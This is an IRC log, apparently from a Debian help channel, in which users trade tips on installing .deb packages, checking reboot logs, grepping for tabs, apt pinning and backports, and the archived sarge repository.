| 23:10.10 | Joelito | is there a good replacemente for gdebi on "testing"? |
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| 23:10.38 | Roadrunne | hi all. Which command can I use to parse a csv file containing URLs? I need to filter out the domain names in the URLs. |
| 23:10.50 | syslq | kunwon1: seems like I'm quite safe for now, I do want to encrypt my drive but dont know lm-crypt or true crypt |
| 23:10.54 | Zopiac | my max resolution is 1024x768, but on other OSs ive gotten higher...how do i make the res. higher? would i need to enable video drivers or anything? |
| 23:10.59 | jelly-home | Joelito: does it have to be graphical? |
| 23:11.17 | kunwon1 | syslq, I don't know much about fde |
| 23:11.19 | kunwon1 | !fde |
| 23:11.20 | Jatz | hey, my debian box rebooted while I was away, is there a log I check to see why? |
| 23:11.44 | syslq | Jatz: /var/log/messages ?? |
| 23:11.45 | Joelito | jelly-home: well...at least help me to know which dependencies need to *.deb |
| 23:11.50 | Jatz | syslq: thanks |
| 23:12.09 | syslq | Jatz: I hope it's true, I have just recently abandoned windows totally |
| 23:12.21 | jelly-home | Joelito: a dpkg --info blah.deb will tell you that |
| 23:13.21 | Joelito | jelly-home: Oh! I knew :), but I need something like "sudo [some_app] *.deb" and automatically download the dependecies and later install the package, like gdebi does. |
| 23:13.28 | Jatz | syslq: well, around half an hour ago (when my machine seems to have rebooted acc to uptime), there's a whole bunch of stuff |
| 23:13.32 | Jatz | time to hit the google |
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| 23:13.49 | jelly-home | Joelito: dpkg -i blah.deb; apt-get -f install |
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| 23:14.20 | Jatz | "Dec 9 19:10:55 meteor syslogd 1.5.0#5: restart." seems like that would do it |
| 23:14.22 | jelly-home | Joelito: or use packages from repositories like normal people do |
| 23:14.41 | Joelito | jelly-home: hehe, some aren't on testing ;) |
| 23:14.50 | syslq | Jatz: cat messages|grep "system" or "shutdown" "reboot" <-- |
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| 23:15.19 | syslq | Jatz: or "init 0" and "init 6" dunno what is wich |
| 23:15.30 | syslq | I have to learn my regex |
| 23:15.54 | syslq | You guys know any other linux addicted windows admin?? |
| 23:16.06 | Eulex | hello, how do I grep for the tab character? grepping for '\t' and variants does not seem to work... |
| 23:17.20 | kunwon1 | Eulex, I don't know, but you might want to try regex grepping |
| 23:18.17 | Jatz | syslq: thanks. Get a bunch of "iomem range fooo-bar has been reserved" |
| 23:18.41 | Eulex | kunwon1, regex grepping? grep does regexes. |
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| 23:19.06 | kunwon1 | Eulex, poorly worded. That's what I meant, passing a regex to grep. |
| 23:19.22 | Eulex | kunwon1, that's what I do :) |
| 23:20.04 | Jatz | "reboot system boot 2.6.26-1-686 Tue Dec 9 19:10 - 19:49 (00:38)" |
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| 23:20.10 | Jatz | (from last -x) |
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| 23:20.32 | karmatronic | any big bug for firefox3 in lenny ? the thing randomly crashes .... |
| 23:20.42 | kunwon1 | Eulex, okay, I didn't realize grep took regular expressions by default. hmm. |
| 23:20.43 | syslq | Jatz: no problem, I'm glad you found it |
| 23:21.00 | yassine | hi everyone im running on an etch box and i would like to install subversion 1.5 which is included in lenny is there a way to do that without a dist-upgrade? |
| 23:21.29 | Craigevil | karmatronic: try removing some of your extensions, or using a clean profile |
| 23:21.37 | karmatronic | yassine: grab sources and compile it yourself |
| 23:22.02 | karmatronic | Craigevil: right,probably a foxmark bug |
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| 23:22.16 | kunwon1 | yassine, don't compile from source, use apt preferences |
| 23:22.22 | Craigevil | idk i use foxmarks and it works just fine |
| 23:22.39 | Jatz | anybody now if there's a way to find what made the box reboot? (logs make it look like it rebooted cleanly) |
| 23:22.45 | Tramp | Eulex: include a literal Tab ("Ctrl-v, Tab") in your regex or (in bash) cleverly include $'\t' |
| 23:22.59 | Eulex | Tramp, ah |
| 23:23.05 | karmatronic | Craigevil: i also suspect flash .. |
| 23:23.16 | karmatronic | Craigevil: the app not the superheroe |
| 23:23.27 | Craigevil | that could be it, i upgraded to flash 10 and havent had any issues |
| 23:23.29 | yassine | kunwon1, i was quite sure there are some usefull options for apt to do that but i admit my periodic memory need some help |
| 23:23.54 | kunwon1 | dpkg, tell yassine about pinning |
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| 23:24.07 | karmatronic | yassine: you can edit your sources.list to match lenny,install svn and then reverse to etch |
| 23:24.41 | kunwon1 | yassine, and that factoid says that backports are a better option if you're using stable, so I'd look into that first, see if there's a backported pkg available |
| 23:24.50 | Craigevil | i would try backports before using lenny sources |
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| 23:28.29 | mimcpher | There's no backported subversion. |
| 23:28.40 | mimcpher | to my knowledge. |
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| 23:29.47 | S-i-A | how can set the default Webbrowser for all application? |
| 23:30.24 | karmatronic | S-i-A: update-alternatives |
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| 23:30.39 | StFS | hi... did something happen to the sarge repository lately? |
| 23:30.59 | mimcpher | Why are you still using sarge? |
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| 23:31.40 | StFS | why do you need to know that? |
| 23:31.50 | mimcpher | i'm just wondering |
| 23:32.29 | S-i-A | :D |
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| 23:32.48 | karmatronic | S-i-A: update-alternatives --config x-www-browser |
| 23:33.02 | StFS | was the repository removed (intentionally)? |
| 23:33.25 | mimcpher | I don't think so. |
| 23:33.34 | StFS | http://ftp.us.debian.org/debian/dists/ |
| 23:33.36 | StFS | no sarge |
| 23:34.06 | mimcpher | Maybe it has been EOL'd |
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| 23:34.12 | rhodescus | StFS: sarge moved, ask dpkg about archive |
| 23:34.21 | ameyer | sarge hasn't been supported since April, I believe |
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| 23:34.45 | StFS | rhodescus: how do I do that again? |
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| 23:35.02 | karmatronic | !archive |
| 23:35.03 | dpkg | i guess archive is a collection of files. 'tar', 'ar', 'cpio' are all archiving tools. This is *not* the same as compression, which is a separate operation. Maybe: http://www.debian.org/distrib/archive or even http://snapshot.debian.net, or http://archive.debian.org/ |
| 23:35.03 | S-i-A | karmatronic: that was correct thanx |
| 23:35.31 | rhodescus | StFS: like that - thanks karmatronic |
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| 23:35.48 | StFS | ahh... thanks guys! |
| 23:36.02 | S-i-A | mimcpher: i stil use Lenny and looking for Released version ;) |
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| 23:37.08 | rhodescus | I still have a bo install somewhere, I think it is bo |
| 23:39.05 | StFS | ok.. here goes... backups are for pussies right? |
| 23:39.07 | StFS | ;) |
| 23:39.27 | rhodescus | StFS: backups are for those who don't like pain. |
| 23:40.06 | StFS | rhodescus: yeah... that's what I said ;) |
| 23:40.29 | rhodescus | StFS: No, you said pussies. Not liking pain isn't the same as being able to deal with it. |
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| 23:42.46 | rhodescus | StFS: If your HD controller doesn't fail, most of your files are unfragmented and you get ahold of a file signature scanner, you can recover most of your data if the inode tables are corrupted. But do you want to? |
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| 23:59.26 | shifty | hi all |
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